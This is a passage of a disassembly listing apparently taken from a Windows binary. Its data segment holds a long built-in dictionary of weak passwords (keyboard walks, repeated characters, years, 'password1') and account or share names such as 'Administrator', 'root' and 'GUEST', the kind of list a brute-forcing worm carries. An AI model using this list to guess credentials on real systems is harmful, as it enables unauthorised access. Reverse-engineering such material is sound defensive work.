dd offset aLlll ; "llll"
dd offset aLllll ; "lllll"
dd offset aLlllll ; "llllll"
dd offset aM ; "m"
dd offset aMm ; "mm"
dd offset aMmm ; "mmm"
dd offset aMmmm ; "mmmm"
dd offset aMmmmm ; "mmmmm"
dd offset aMmmmmm ; "mmmmmm"
dd offset aN ; "n"
dd offset aNn ; "nn"
dd offset aNnn ; "nnn"
dd offset aNnnn ; "nnnn"
dd offset aNnnnn ; "nnnnn"
dd offset aNnnnnn ; "nnnnnn"
dd offset aO ; "o"
dd offset aOo ; "oo"
dd offset aOoo ; "ooo"
dd offset aOooo ; "oooo"
dd offset aOoooo ; "ooooo"
dd offset aOooooo ; "oooooo"
dd offset aP ; "p"
dd offset aPp ; "pp"
dd offset aPpp ; "ppp"
dd offset aPppp ; "pppp"
dd offset aPpppp ; "ppppp"
dd offset aPppppp ; "pppppp"
dd offset aU ; "u"
dd offset aUu ; "uu"
dd offset aUuu ; "uuu"
dd offset aUuuu ; "uuuu"
dd offset aUuuuu ; "uuuuu"
dd offset aUuuuuu ; "uuuuuu"
dd offset aS_3 ; "s"
dd offset aSs ; "ss"
dd offset aSss ; "sss"
dd offset aSsss ; "ssss"
dd offset aSssss ; "sssss"
dd offset aSsssss ; "ssssss"
dd offset aT ; "t"
dd offset aTt ; "tt"
dd offset aTtt ; "ttt"
dd offset aTttt ; "tttt"
dd offset aTtttt ; "ttttt"
dd offset aTttttt ; "tttttt"
dd offset aY ; "y"
dd offset aYy ; "yy"
dd offset aYyy ; "yyy"
dd offset aYyyy ; "yyyy"
dd offset aYyyyy ; "yyyyy"
dd offset aYyyyyy ; "yyyyyy"
dd offset aV ; "v"
dd offset aVv ; "vv"
dd offset aVvv ; "vvv"
dd offset aVvvv ; "vvvv"
dd offset aVvvvv ; "vvvvv"
dd offset aVvvvvv ; "vvvvvv"
dd offset aW ; "w"
dd offset aWw ; "ww"
dd offset aWww ; "www"
dd offset aWwww ; "wwww"
dd offset aWwwww ; "wwwww"
dd offset aWwwwww ; "wwwwww"
dd offset aQ ; "q"
dd offset aQq ; "qq"
dd offset aQqq ; "qqq"
dd offset aQqqq ; "qqqq"
dd offset aQqqqq ; "qqqqq"
dd offset aQqqqqq ; "qqqqqq"
dd offset aZ ; "z"
dd offset aZz ; "zz"
dd offset aZzz ; "zzz"
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aZzzzzz ; "zzzzzz"
dd offset aXxyyzz ; "xxyyzz"
dd offset aZzxx ; "zzxx"
dd offset aAass ; "aass"
dd offset aQqww ; "qqww"
dd offset aZzzxxxccc ; "zzzxxxccc"
dd offset aAaasssddd ; "aaasssddd"
dd offset aQqqwwweee ; "qqqwwweee"
dd offset aQqwwee ; "qqwwee"
dd offset aAassdd ; "aassdd"
dd offset aZzxxcc ; "zzxxcc"
dd offset a1qaz ; "1qaz"
dd offset a2wsx ; "2wsx"
dd offset a2qaz ; "2qaz"
dd offset a3edc ; "3edc"
dd offset a3wsx ; "3wsx"
dd offset a112233 ; "112233"
dd offset aMnb ; "mnb"
dd offset aMnbv ; "mnbv"
dd offset a2486 ; "2486"
dd offset a2684 ; "2684"
dd offset a13579 ; "13579"
dd offset a753159 ; "753159"
dd offset a159357 ; "159357"
dd offset a951753 ; "951753"
dd offset a753951 ; "753951"
dd offset a142536 ; "142536"
dd offset aSystem ; "system"
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset dword_42F3E8
dd 0
dword_42561C dd 10h ; seg000:00409AA8r ...
a142536 db '142536',0 ; DATA XREF: seg002:0042559Co
align 4
a753951 db '753951',0 ; DATA XREF: seg002:00425598o
align 10h
a951753 db '951753',0 ; DATA XREF: seg002:00425594o
align 4
a159357 db '159357',0 ; DATA XREF: seg002:00425590o
align 10h
a753159 db '753159',0 ; DATA XREF: seg002:0042558Co
align 4
a13579 db '13579',0 ; DATA XREF: seg002:00425588o
align 10h
a2684 db '2684',0 ; DATA XREF: seg002:00425584o
align 4
a2486 db '2486',0 ; DATA XREF: seg002:00425580o
align 10h
aMnbv db 'mnbv',0 ; DATA XREF: seg002:0042557Co
align 4
aMnb db 'mnb',0 ; DATA XREF: seg002:00425578o
a112233 db '112233',0 ; DATA XREF: seg002:00425574o
align 4
a3wsx db '3wsx',0 ; DATA XREF: seg002:00425570o
align 4
a3edc db '3edc',0 ; DATA XREF: seg002:0042556Co
align 4
a2qaz db '2qaz',0 ; DATA XREF: seg002:00425568o
align 4
a2wsx db '2wsx',0 ; DATA XREF: seg002:00425564o
align 4
a1qaz db '1qaz',0 ; DATA XREF: seg002:00425560o
align 4
aZzxxcc db 'zzxxcc',0 ; DATA XREF: seg002:0042555Co
align 4
aAassdd db 'aassdd',0 ; DATA XREF: seg002:00425558o
align 4
aQqwwee db 'qqwwee',0 ; DATA XREF: seg002:00425554o
align 4
aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: seg002:00425550o
align 10h
aAaasssddd db 'aaasssddd',0 ; DATA XREF: seg002:0042554Co
align 4
aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: seg002:00425548o
align 4
aQqww db 'qqww',0 ; DATA XREF: seg002:00425544o
align 10h
aAass db 'aass',0 ; DATA XREF: seg002:00425540o
align 4
aZzxx db 'zzxx',0 ; DATA XREF: seg002:0042553Co
align 10h
aXxyyzz db 'xxyyzz',0 ; DATA XREF: seg002:00425538o
align 4
aZzzzzz db 'zzzzzz',0 ; DATA XREF: seg002:00425534o
align 10h
aZzzzz db 'zzzzz',0 ; DATA XREF: seg002:00425530o
align 4
aZzzz db 'zzzz',0 ; DATA XREF: seg002:0042552Co
align 10h
aZzz db 'zzz',0 ; DATA XREF: seg002:00425528o
aZz db 'zz',0 ; DATA XREF: seg002:00425524o
align 4
aQqqqqq db 'qqqqqq',0 ; DATA XREF: seg002:0042551Co
align 10h
aQqqqq db 'qqqqq',0 ; DATA XREF: seg002:00425518o
align 4
aQqqq db 'qqqq',0 ; DATA XREF: seg002:00425514o
align 10h
aQqq db 'qqq',0 ; DATA XREF: seg002:00425510o
aQq db 'qq',0 ; DATA XREF: seg002:0042550Co
align 4
aQ: ; DATA XREF: seg002:00425508o
unicode 0, <q>,0
aWwwwww db 'wwwwww',0 ; DATA XREF: seg002:00425504o
align 4
aWwwww db 'wwwww',0 ; DATA XREF: seg002:00425500o
align 4
aWwww db 'wwww',0 ; DATA XREF: seg002:004254FCo
align 4
aWww db 'www',0 ; DATA XREF: seg002:004254F8o
aWw db 'ww',0 ; DATA XREF: seg002:004254F4o
align 4
aW: ; DATA XREF: seg002:004254F0o
unicode 0, <w>,0
aVvvvvv db 'vvvvvv',0 ; DATA XREF: seg002:004254ECo
align 4
aVvvvv db 'vvvvv',0 ; DATA XREF: seg002:004254E8o
align 10h
aVvvv db 'vvvv',0 ; DATA XREF: seg002:004254E4o
align 4
aVvv db 'vvv',0 ; DATA XREF: seg000:0040B18Fo
; seg002:004254E0o
aVv db 'vv',0 ; DATA XREF: seg002:004254DCo
align 10h
aV: ; DATA XREF: seg002:004254D8o
unicode 0, <v>,0
aYyyyyy db 'yyyyyy',0 ; DATA XREF: seg002:004254D4o
align 4
aYyyyy db 'yyyyy',0 ; DATA XREF: seg002:004254D0o
align 4
aYyyy db 'yyyy',0 ; DATA XREF: seg002:004254CCo
align 4
aYyy db 'yyy',0 ; DATA XREF: seg002:004254C8o
aYy db 'yy',0 ; DATA XREF: seg002:004254C4o
align 4
aY: ; DATA XREF: seg002:004254C0o
unicode 0, <y>,0
aTttttt db 'tttttt',0 ; DATA XREF: seg002:004254BCo
align 10h
aTtttt db 'ttttt',0 ; DATA XREF: seg002:004254B8o
align 4
aTttt db 'tttt',0 ; DATA XREF: seg002:004254B4o
align 10h
aTtt db 'ttt',0 ; DATA XREF: seg002:004254B0o
aTt db 'tt',0 ; DATA XREF: seg002:004254ACo
align 4
aT: ; DATA XREF: seg002:004254A8o
unicode 0, <t>,0
aSsssss db 'ssssss',0 ; DATA XREF: seg002:004254A4o
align 4
aSssss db 'sssss',0 ; DATA XREF: seg002:004254A0o
align 4
aSsss db 'ssss',0 ; DATA XREF: seg002:0042549Co
align 4
aSss db 'sss',0 ; DATA XREF: seg002:00425498o
aSs db 'ss',0 ; DATA XREF: seg002:00425494o
align 4
aS_3: ; DATA XREF: seg002:00425490o
unicode 0, <s>,0
aUuuuuu db 'uuuuuu',0 ; DATA XREF: seg002:0042548Co
align 4
aUuuuu db 'uuuuu',0 ; DATA XREF: seg002:00425488o
align 10h
aUuuu db 'uuuu',0 ; DATA XREF: seg002:00425484o
align 4
aUuu db 'uuu',0 ; DATA XREF: seg002:00425480o
aUu db 'uu',0 ; DATA XREF: seg002:0042547Co
align 10h
aU: ; DATA XREF: seg002:00425478o
unicode 0, <u>,0
aPppppp db 'pppppp',0 ; DATA XREF: seg002:00425474o
align 4
aPpppp db 'ppppp',0 ; DATA XREF: seg002:00425470o
align 4
aPppp db 'pppp',0 ; DATA XREF: seg002:0042546Co
align 4
aPpp db 'ppp',0 ; DATA XREF: seg002:00425468o
aPp db 'pp',0 ; DATA XREF: seg002:00425464o
align 4
aP: ; DATA XREF: seg002:00425460o
unicode 0, <p>,0
aOooooo db 'oooooo',0 ; DATA XREF: seg002:0042545Co
align 10h
aOoooo db 'ooooo',0 ; DATA XREF: seg002:00425458o
align 4
aOooo db 'oooo',0 ; DATA XREF: seg002:00425454o
align 10h
aOoo db 'ooo',0 ; DATA XREF: seg002:00425450o
aOo db 'oo',0 ; DATA XREF: seg002:0042544Co
align 4
aO: ; DATA XREF: seg002:00425448o
unicode 0, <o>,0
aNnnnnn db 'nnnnnn',0 ; DATA XREF: seg002:00425444o
align 4
aNnnnn db 'nnnnn',0 ; DATA XREF: seg002:00425440o
align 4
aNnnn db 'nnnn',0 ; DATA XREF: seg002:0042543Co
align 4
aNnn db 'nnn',0 ; DATA XREF: seg002:00425438o
aNn db 'nn',0 ; DATA XREF: seg002:00425434o
align 4
aN: ; DATA XREF: seg002:00425430o
unicode 0, <n>,0
aMmmmmm db 'mmmmmm',0 ; DATA XREF: seg002:0042542Co
align 4
aMmmmm db 'mmmmm',0 ; DATA XREF: seg002:00425428o
align 10h
aMmmm db 'mmmm',0 ; DATA XREF: seg002:00425424o
align 4
aMmm db 'mmm',0 ; DATA XREF: seg002:00425420o
aMm db 'mm',0 ; DATA XREF: seg002:0042541Co
align 10h
aM: ; DATA XREF: seg002:00425418o
unicode 0, <m>,0
aLlllll db 'llllll',0 ; DATA XREF: seg002:00425414o
align 4
aLllll db 'lllll',0 ; DATA XREF: seg002:00425410o
align 4
aLlll db 'llll',0 ; DATA XREF: seg002:0042540Co
align 4
aLll db 'lll',0 ; DATA XREF: seg002:00425408o
aLl db 'll',0 ; DATA XREF: seg002:00425404o
align 4
asc_4258C4: ; DATA XREF: seg002:00425400o
unicode 0, <l>,0
aKkkkkk db 'kkkkkk',0 ; DATA XREF: seg002:004253FCo
align 10h
aKkkkk db 'kkkkk',0 ; DATA XREF: seg002:004253F8o
align 4
aKkkk db 'kkkk',0 ; DATA XREF: seg002:004253F4o
align 10h
aKkk db 'kkk',0 ; DATA XREF: seg002:004253F0o
aKk db 'kk',0 ; DATA XREF: seg002:004253ECo
align 4
aK: ; DATA XREF: seg002:004253E8o
unicode 0, <k>,0
aJjjjjj db 'jjjjjj',0 ; DATA XREF: seg002:004253E4o
align 4
aJjjjj db 'jjjjj',0 ; DATA XREF: seg002:004253E0o
align 4
aJjjj db 'jjjj',0 ; DATA XREF: seg002:004253DCo
align 4
aJjj db 'jjj',0 ; DATA XREF: seg002:004253D8o
aJj db 'jj',0 ; DATA XREF: seg002:004253D4o
align 4
aJ: ; DATA XREF: seg002:004253D0o
unicode 0, <j>,0
aIiiiii db 'iiiiii',0 ; DATA XREF: seg002:004253CCo
align 4
aIiiii db 'iiiii',0 ; DATA XREF: seg002:004253C8o
align 10h
aIiii db 'iiii',0 ; DATA XREF: seg002:004253C4o
align 4
aIii db 'iii',0 ; DATA XREF: seg002:004253C0o
aIi db 'ii',0 ; DATA XREF: seg002:004253BCo
align 10h
aI_0: ; DATA XREF: seg002:004253B8o
unicode 0, <i>,0
aHhhhhh db 'hhhhhh',0 ; DATA XREF: seg002:004253B4o
align 4
aHhhhh db 'hhhhh',0 ; DATA XREF: seg002:004253B0o
align 4
aHhhh db 'hhhh',0 ; DATA XREF: seg002:004253ACo
align 4
aHhh db 'hhh',0 ; DATA XREF: seg002:004253A8o
aHh db 'hh',0 ; DATA XREF: seg002:004253A4o
align 4
asc_425954: ; DATA XREF: seg002:004253A0o
unicode 0, <h>,0
aGggggg db 'gggggg',0 ; DATA XREF: seg002:0042539Co
align 10h
aGgggg db 'ggggg',0 ; DATA XREF: seg002:00425398o
align 4
aGggg db 'gggg',0 ; DATA XREF: seg002:00425394o
align 10h
aGgg db 'ggg',0 ; DATA XREF: seg002:00425390o
aGg db 'gg',0 ; DATA XREF: seg002:0042538Co
align 4
aG: ; DATA XREF: seg002:00425388o
unicode 0, <g>,0
aEeeeee db 'eeeeee',0 ; DATA XREF: seg002:00425384o
align 4
aEeeee db 'eeeee',0 ; DATA XREF: seg002:00425380o
align 4
aEeee db 'eeee',0 ; DATA XREF: seg002:0042537Co
align 4
aEee db 'eee',0 ; DATA XREF: seg002:00425378o
aEe db 'ee',0 ; DATA XREF: seg002:00425374o
align 4
aE: ; DATA XREF: seg002:00425370o
unicode 0, <e>,0
aFffff db 'fffff',0 ; DATA XREF: seg002:0042536Co
align 4
aFfff db 'ffff',0 ; DATA XREF: seg002:00425368o
align 10h
aFff db 'fff',0 ; DATA XREF: seg002:00425364o
aFf db 'ff',0 ; DATA XREF: seg002:00425360o
align 4
aF: ; DATA XREF: seg002:0042535Co
unicode 0, <f>,0
aDdddd db 'ddddd',0 ; DATA XREF: seg002:00425358o
align 4
aDddd db 'dddd',0 ; DATA XREF: seg002:00425354o
align 4
aDdd db 'ddd',0 ; DATA XREF: seg002:00425350o
aDd_0 db 'dd',0 ; DATA XREF: seg002:0042534Co
align 4
aD: ; DATA XREF: seg002:00425348o
unicode 0, <d>,0
aCcccccccc db 'ccccccccc',0 ; DATA XREF: seg002:00425344o
align 4
aCccccccc db 'cccccccc',0 ; DATA XREF: seg002:00425340o
align 10h
aCcccccc db 'ccccccc',0 ; DATA XREF: seg002:0042533Co
aCccccc db 'cccccc',0 ; DATA XREF: seg002:00425338o
align 10h
aCcccc db 'ccccc',0 ; DATA XREF: seg002:00425334o
align 4
aCccc_0 db 'cccc',0 ; DATA XREF: seg002:00425330o
align 10h
aCcc db 'ccc',0 ; DATA XREF: seg002:0042532Co
aCc db 'cc',0 ; DATA XREF: seg002:00425328o
align 4
aC: ; DATA XREF: seg002:00425324o
unicode 0, <c>,0
aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: seg002:00425320o
align 4
aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: seg002:0042531Co
align 4
aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: seg002:00425318o
aBbbbbb db 'bbbbbb',0 ; DATA XREF: seg002:00425314o
align 4
aBbbbb db 'bbbbb',0 ; DATA XREF: seg002:00425310o
align 4
aBbbb db 'bbbb',0 ; DATA XREF: seg002:0042530Co
align 4
aBbb db 'bbb',0 ; DATA XREF: seg002:00425308o
aBb db 'bb',0 ; DATA XREF: seg002:00425304o
align 4
aB: ; DATA XREF: seg002:00425300o
unicode 0, <b>,0
aRfv db 'rfv',0 ; DATA XREF: seg002:004252FCo
aEdc db 'edc',0 ; DATA XREF: seg002:004252F8o
aWsx db 'wsx',0 ; DATA XREF: seg002:004252F4o
aQaz db 'qaz',0 ; DATA XREF: seg002:004252F0o
aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: seg002:004252ECo
align 4
aAsdfghjk db 'asdfghjk',0 ; DATA XREF: seg002:004252E8o
align 4
aAsdfghj db 'asdfghj',0 ; DATA XREF: seg002:004252E4o
aAsdfgh db 'asdfgh',0 ; DATA XREF: seg002:004252E0o
align 4
aAsdfg db 'asdfg',0 ; DATA XREF: seg002:004252DCo
align 10h
aAs db 'as',0 ; DATA XREF: seg002:004252D0o
align 4
aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: seg002:004252CCo
aZxcvbn db 'zxcvbn',0 ; DATA XREF: seg002:004252C8o
align 4
aZxcvb db 'zxcvb',0 ; DATA XREF: seg002:004252C4o
align 4
aZxc db 'zxc',0 ; DATA XREF: seg002:004252BCo
aZx db 'zx',0 ; DATA XREF: seg002:004252B8o
align 4
aZ: ; DATA XREF: seg002:004252B4o
; seg002:00425520o
unicode 0, <z>,0
aKonyang db 'konyang',0 ; DATA XREF: seg002:004252B0o
aToyota_0 db 'TOYOTA',0 ; DATA XREF: seg002:00425278o
align 4
aKor db 'KOR',0 ; DATA XREF: seg002:00425274o
aKor_0 db 'kor',0 ; DATA XREF: seg002:0042526Co
aChi db 'chi',0 ; DATA XREF: seg002:00425268o
aChi_0 db 'CHI',0 ; DATA XREF: seg002:00425264o
aSystem db 'system',0 ; DATA XREF: seg002:0042525Co
; seg002:004255A0o
align 10h
aServices db 'services',0 ; DATA XREF: seg002:00425258o
align 4
aServers db 'servers',0 ; DATA XREF: seg002:00425254o
aServer_0 db 'server',0 ; DATA XREF: seg002:0042524Co
align 4
aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: seg002:00425244o
align 4
aQwertyuio db 'qwertyuio',0 ; DATA XREF: seg002:00425240o
align 4
aQwertyui db 'qwertyui',0 ; DATA XREF: seg002:0042523Co
align 10h
aQwertyu db 'qwertyu',0 ; DATA XREF: seg002:00425238o
aQwe db 'qwe',0 ; DATA XREF: seg002:00425228o
aQw db 'qw',0 ; DATA XREF: seg002:00425224o
align 10h
aPassword1 db 'password1',0 ; DATA XREF: seg002:00425220o
align 4
aPassword_0 db 'Password',0 ; DATA XREF: seg002:0042521Co
align 4
aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: seg002:00425218o
align 4
aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: seg002:00425214o
align 10h
aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: seg002:00425210o
aAaaaaa db 'aaaaaa',0 ; DATA XREF: seg002:0042520Co
align 10h
aAaaaa db 'aaaaa',0 ; DATA XREF: seg002:00425208o
align 4
aAaaa db 'aaaa',0 ; DATA XREF: seg002:00425204o
align 10h
aAa db 'aa',0 ; DATA XREF: seg002:004251FCo
align 4
aNokia db 'NOKIA',0 ; DATA XREF: seg002:004251F0o
align 4
aSex db 'SEX',0 ; DATA XREF: seg002:004251ECo
aCreative db 'CREATIVE',0 ; DATA XREF: seg002:004251E8o
align 4
aDisc_0 db 'DISC',0 ; DATA XREF: seg002:004251E4o
align 4
aMicrosoft db 'MICROSOFT',0 ; DATA XREF: seg002:004251E0o
align 10h
aMaster_0 db 'MASTER',0 ; DATA XREF: seg002:004251DCo
align 4
aSony_0 db 'SONY',0 ; DATA XREF: seg002:004251D8o
align 10h
aSamsung db 'samsung',0 ; DATA XREF: seg002:004251D4o
aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: seg002:004251D0o
aSony db 'sony',0 ; DATA XREF: seg002:004251CCo
align 4
a7654321 db '7654321',0 ; DATA XREF: seg002:004251C8o
a4321 db '4321',0 ; DATA XREF: seg002:004251BCo
align 4
a321 db '321',0 ; DATA XREF: seg002:004251B8o
a2006 db '2006',0 ; DATA XREF: seg002:004251B0o
align 4
a2005 db '2005',0 ; DATA XREF: seg002:004251ACo
align 4
a2004 db '2004',0 ; DATA XREF: seg002:004251A8o
align 4
a2001 db '2001',0 ; DATA XREF: seg002:0042519Co
align 4
a2000 db '2000',0 ; DATA XREF: seg002:00425198o
align 4
a1999 db '1999',0 ; DATA XREF: seg002:00425194o
align 4
a1998 db '1998',0 ; DATA XREF: seg002:00425190o
align 4
a1997 db '1997',0 ; DATA XREF: seg002:0042518Co
align 4
a1996 db '1996',0 ; DATA XREF: seg002:00425188o
align 4
a1995 db '1995',0 ; DATA XREF: seg002:00425184o
align 4
a1994 db '1994',0 ; DATA XREF: seg002:00425180o
align 4
a1993 db '1993',0 ; DATA XREF: seg002:0042517Co
align 4
a1992 db '1992',0 ; DATA XREF: seg002:00425178o
align 4
a1991 db '1991',0 ; DATA XREF: seg002:00425174o
align 4
a1990 db '1990',0 ; DATA XREF: seg002:00425170o
align 4
a1989 db '1989',0 ; DATA XREF: seg002:0042516Co
align 4
a1988 db '1988',0 ; DATA XREF: seg002:00425168o
align 4
a1987 db '1987',0 ; DATA XREF: seg002:00425164o
align 4
a1986 db '1986',0 ; DATA XREF: seg002:00425160o
align 4
a1985 db '1985',0 ; DATA XREF: seg002:0042515Co
align 4
a1984 db '1984',0 ; DATA XREF: seg002:00425158o
align 4
a1983 db '1983',0 ; DATA XREF: seg002:00425154o
align 4
a1982 db '1982',0 ; DATA XREF: seg002:00425150o
align 4
a1981 db '1981',0 ; DATA XREF: seg002:0042514Co
align 4
a1980 db '1980',0 ; DATA XREF: seg002:00425148o
align 4
a1979 db '1979',0 ; DATA XREF: seg002:00425144o
align 4
a1978 db '1978',0 ; DATA XREF: seg002:00425140o
align 4
a1977 db '1977',0 ; DATA XREF: seg002:0042513Co
align 4
a1976 db '1976',0 ; DATA XREF: seg002:00425138o
align 4
a1975 db '1975',0 ; DATA XREF: seg002:00425134o
align 4
a1974 db '1974',0 ; DATA XREF: seg002:00425130o
align 4
a1973 db '1973',0 ; DATA XREF: seg002:0042512Co
align 4
a1972 db '1972',0 ; DATA XREF: seg002:00425128o
align 4
a1971 db '1971',0 ; DATA XREF: seg002:00425124o
align 4
a1970 db '1970',0 ; DATA XREF: seg002:00425120o
align 4
a1969 db '1969',0 ; DATA XREF: seg002:0042511Co
align 4
a1968 db '1968',0 ; DATA XREF: seg002:00425118o
align 4
a1967 db '1967',0 ; DATA XREF: seg002:00425114o
align 4
a1966 db '1966',0 ; DATA XREF: seg002:00425110o
align 4
a1965 db '1965',0 ; DATA XREF: seg002:0042510Co
align 4
a1964 db '1964',0 ; DATA XREF: seg002:00425108o
align 4
a1963 db '1963',0 ; DATA XREF: seg002:00425104o
align 4
a1962 db '1962',0 ; DATA XREF: seg002:00425100o
align 4
a1961 db '1961',0 ; DATA XREF: seg002:004250FCo
align 4
a1960 db '1960',0 ; DATA XREF: seg002:004250F8o
align 4
a1959 db '1959',0 ; DATA XREF: seg002:004250F4o
align 4
a1958 db '1958',0 ; DATA XREF: seg002:004250F0o
align 4
a1957 db '1957',0 ; DATA XREF: seg002:004250ECo
align 4
a1956 db '1956',0 ; DATA XREF: seg002:004250E8o
align 4
a1955 db '1955',0 ; DATA XREF: seg002:004250E4o
align 4
a1954 db '1954',0 ; DATA XREF: seg002:004250E0o
align 4
a1953 db '1953',0 ; DATA XREF: seg002:004250DCo
align 4
a1952 db '1952',0 ; DATA XREF: seg002:004250D8o
align 4
a1234qwe db '1234qwe',0 ; DATA XREF: seg002:004250D4o
a1234asd db '1234asd',0 ; DATA XREF: seg002:004250D0o
a1234abc db '1234abc',0 ; DATA XREF: seg002:004250CCo
a123qwer db '123qwer',0 ; DATA XREF: seg002:004250B8o
a12qwe db '12qwe',0 ; DATA XREF: seg002:004250B4o
align 4
a12asd db '12asd',0 ; DATA XREF: seg002:004250B0o
align 4
a12abc db '12abc',0 ; DATA XREF: seg002:004250ACo
align 4
a12qwer db '12qwer',0 ; DATA XREF: seg002:004250A8o
align 4
a1qwe db '1qwe',0 ; DATA XREF: seg002:004250A4o
align 4
a1asd db '1asd',0 ; DATA XREF: seg002:004250A0o
align 4
a1abc db '1abc',0 ; DATA XREF: seg002:0042509Co
align 4
a1qwer db '1qwer',0 ; DATA XREF: seg002:00425098o
align 4
a123467890 db '123467890',0 ; DATA XREF: seg002:00425094o
align 10h
a12346789 db '12346789',0 ; DATA XREF: seg002:00425090o
align 4
a1234678 db '1234678',0 ; DATA XREF: seg002:0042508Co
a123467 db '123467',0 ; DATA XREF: seg002:00425088o
align 4
a12346 db '12346',0 ; DATA XREF: seg002:00425084o
align 4
a121 db '121',0 ; DATA XREF: seg002:0042505Co
a1020 db '1020',0 ; DATA XREF: seg002:00425054o
align 10h
a0258 db '0258',0 ; DATA XREF: seg002:00425050o
align 4
a8520 db '8520',0 ; DATA XREF: seg002:0042504Co
align 10h
a987 db '987',0 ; DATA XREF: seg002:00425048o
a789 db '789',0 ; DATA XREF: seg002:00425044o
a654 db '654',0 ; DATA XREF: seg002:00425040o
a456 db '456',0 ; DATA XREF: seg002:0042503Co
a1122 db '1122',0 ; DATA XREF: seg002:00425038o
align 4
a0147 db '0147',0 ; DATA XREF: seg002:00425034o
align 10h
a7410 db '7410',0 ; DATA XREF: seg002:00425030o
align 4
a9999999999 db '9999999999',0 ; DATA XREF: seg002:00425028o
align 4
a999999999 db '999999999',0 ; DATA XREF: seg002:00425024o
align 10h
a99999999 db '99999999',0 ; DATA XREF: seg002:00425020o
align 4
a9999999 db '9999999',0 ; DATA XREF: seg002:0042501Co
a999999 db '999999',0 ; DATA XREF: seg002:00425018o
align 4
a99999 db '99999',0 ; DATA XREF: seg002:00425014o
align 4
a9999 db '9999',0 ; DATA XREF: seg002:00425010o
align 4
a999 db '999',0 ; DATA XREF: seg002:0042500Co
a99 db '99',0 ; DATA XREF: seg002:00425008o
align 4
a9: ; DATA XREF: seg002:00425004o
unicode 0, <9>,0
a8888888888 db '8888888888',0 ; DATA XREF: seg002:00425000o
align 4
a888888888 db '888888888',0 ; DATA XREF: seg002:00424FFCo
align 10h
a8888888 db '8888888',0 ; DATA XREF: seg002:00424FF4o
a888888 db '888888',0 ; DATA XREF: seg002:00424FF0o
align 10h
a88888 db '88888',0 ; DATA XREF: seg002:00424FECo
align 4
a8888 db '8888',0 ; DATA XREF: seg002:00424FE8o
align 10h
a888 db '888',0 ; DATA XREF: seg002:00424FE4o
a88 db '88',0 ; DATA XREF: seg002:00424FE0o
align 4
a8: ; DATA XREF: seg002:00424FDCo
unicode 0, <8>,0
a7777777777 db '7777777777',0 ; DATA XREF: seg002:00424FD8o
align 4
a777777777 db '777777777',0 ; DATA XREF: seg002:00424FD4o
align 4
a77777777 db '77777777',0 ; DATA XREF: seg002:00424FD0o
align 10h
a7777777 db '7777777',0 ; DATA XREF: seg002:00424FCCo
a777777 db '777777',0 ; DATA XREF: seg002:00424FC8o
align 10h
a77777 db '77777',0 ; DATA XREF: seg002:00424FC4o
align 4
a7777 db '7777',0 ; DATA XREF: seg002:00424FC0o
align 10h
a777 db '777',0 ; DATA XREF: seg002:00424FBCo
a77 db '77',0 ; DATA XREF: seg002:00424FB8o
align 4
a7: ; DATA XREF: seg002:00424FB4o
unicode 0, <7>,0
a6666666666 db '6666666666',0 ; DATA XREF: seg002:00424FB0o
align 4
a666666666 db '666666666',0 ; DATA XREF: seg002:00424FACo
align 4
a66666666 db '66666666',0 ; DATA XREF: seg002:00424FA8o
align 10h
a6666666 db '6666666',0 ; DATA XREF: seg002:00424FA4o
a666666 db '666666',0 ; DATA XREF: seg002:00424FA0o
align 10h
a66666 db '66666',0 ; DATA XREF: seg002:00424F9Co
align 4
a6666 db '6666',0 ; DATA XREF: seg002:00424F98o
align 10h
a666 db '666',0 ; DATA XREF: seg002:00424F94o
a66 db '66',0 ; DATA XREF: seg002:00424F90o
align 4
a6: ; DATA XREF: seg002:00424F8Co
unicode 0, <6>,0
a5555555555 db '5555555555',0 ; DATA XREF: seg002:00424F88o
align 4
a555555555 db '555555555',0 ; DATA XREF: seg002:00424F84o
align 4
a55555555 db '55555555',0 ; DATA XREF: seg002:00424F80o
align 10h
a5555555 db '5555555',0 ; DATA XREF: seg002:00424F7Co
a555555 db '555555',0 ; DATA XREF: seg002:00424F78o
align 10h
a55555 db '55555',0 ; DATA XREF: seg002:00424F74o
align 4
a5555 db '5555',0 ; DATA XREF: seg002:00424F70o
align 10h
a555 db '555',0 ; DATA XREF: seg002:00424F6Co
a55 db '55',0 ; DATA XREF: seg002:00424F68o
align 4
a5: ; DATA XREF: seg002:00424F64o
unicode 0, <5>,0
a4444444444 db '4444444444',0 ; DATA XREF: seg002:00424F60o
align 4
a444444444 db '444444444',0 ; DATA XREF: seg002:00424F5Co
align 4
a44444444 db '44444444',0 ; DATA XREF: seg002:00424F58o
align 10h
a4444444 db '4444444',0 ; DATA XREF: seg002:00424F54o
a444444 db '444444',0 ; DATA XREF: seg002:00424F50o
align 10h
a44444 db '44444',0 ; DATA XREF: seg002:00424F4Co
align 4
a4444 db '4444',0 ; DATA XREF: seg002:00424F48o
align 10h
a444 db '444',0 ; DATA XREF: seg002:00424F44o
a44 db '44',0 ; DATA XREF: seg002:00424F40o
align 4
a4: ; DATA XREF: seg002:00424F3Co
